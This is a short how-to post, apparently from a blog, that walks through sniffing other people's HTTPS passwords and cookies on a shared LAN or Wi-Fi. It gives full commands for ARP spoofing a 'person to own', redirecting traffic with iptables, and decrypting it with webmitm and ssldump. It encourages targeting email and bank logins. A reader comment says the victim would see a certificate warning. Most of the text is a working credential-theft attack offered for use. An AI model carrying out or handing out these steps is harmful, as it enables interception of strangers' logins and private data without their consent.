Howto: arpspoof, webmitm, and ssldump to sniff passwords via https
Let me show you how easy it is to sniff someone elses password/cookies via ssl/https on the lan/wlan with ubuntu linux.
We will be using Arp Spoofing/Poisoning for this attack
You can learn more about arp spoofing and poisoning here
The Attack preparation:
First lets grab the necessary packages:
sudo apt-get install dsniff ssldump (alternatively zypper in, or yum install, etc..)
Now lets enable packet forwarding:
sudo -s
echo 1 > /proc/sys/net/ipv4/ip_forward
Lets set some iptables rules:
iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT
iptables -A FORWARD -j ACCEPT
arpspoof -t “target ip(person to own)” “gateway ip(router)”
webmitm -d
ssldump -n -d -k webmitm.crt | tee ssldump.log
Now all you do is wait for the target machine to log into google/gmail/yahoo/msn/hotmail or any other https connection, even a bank or whatever interests you and you will see the passwords pop up in the terminal.
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you forgot to mention that the ‘target’ will get a big fat warning about the fake, self signed cert that we try serv him/her with making it totally unusable in real life.
Or am i missing something?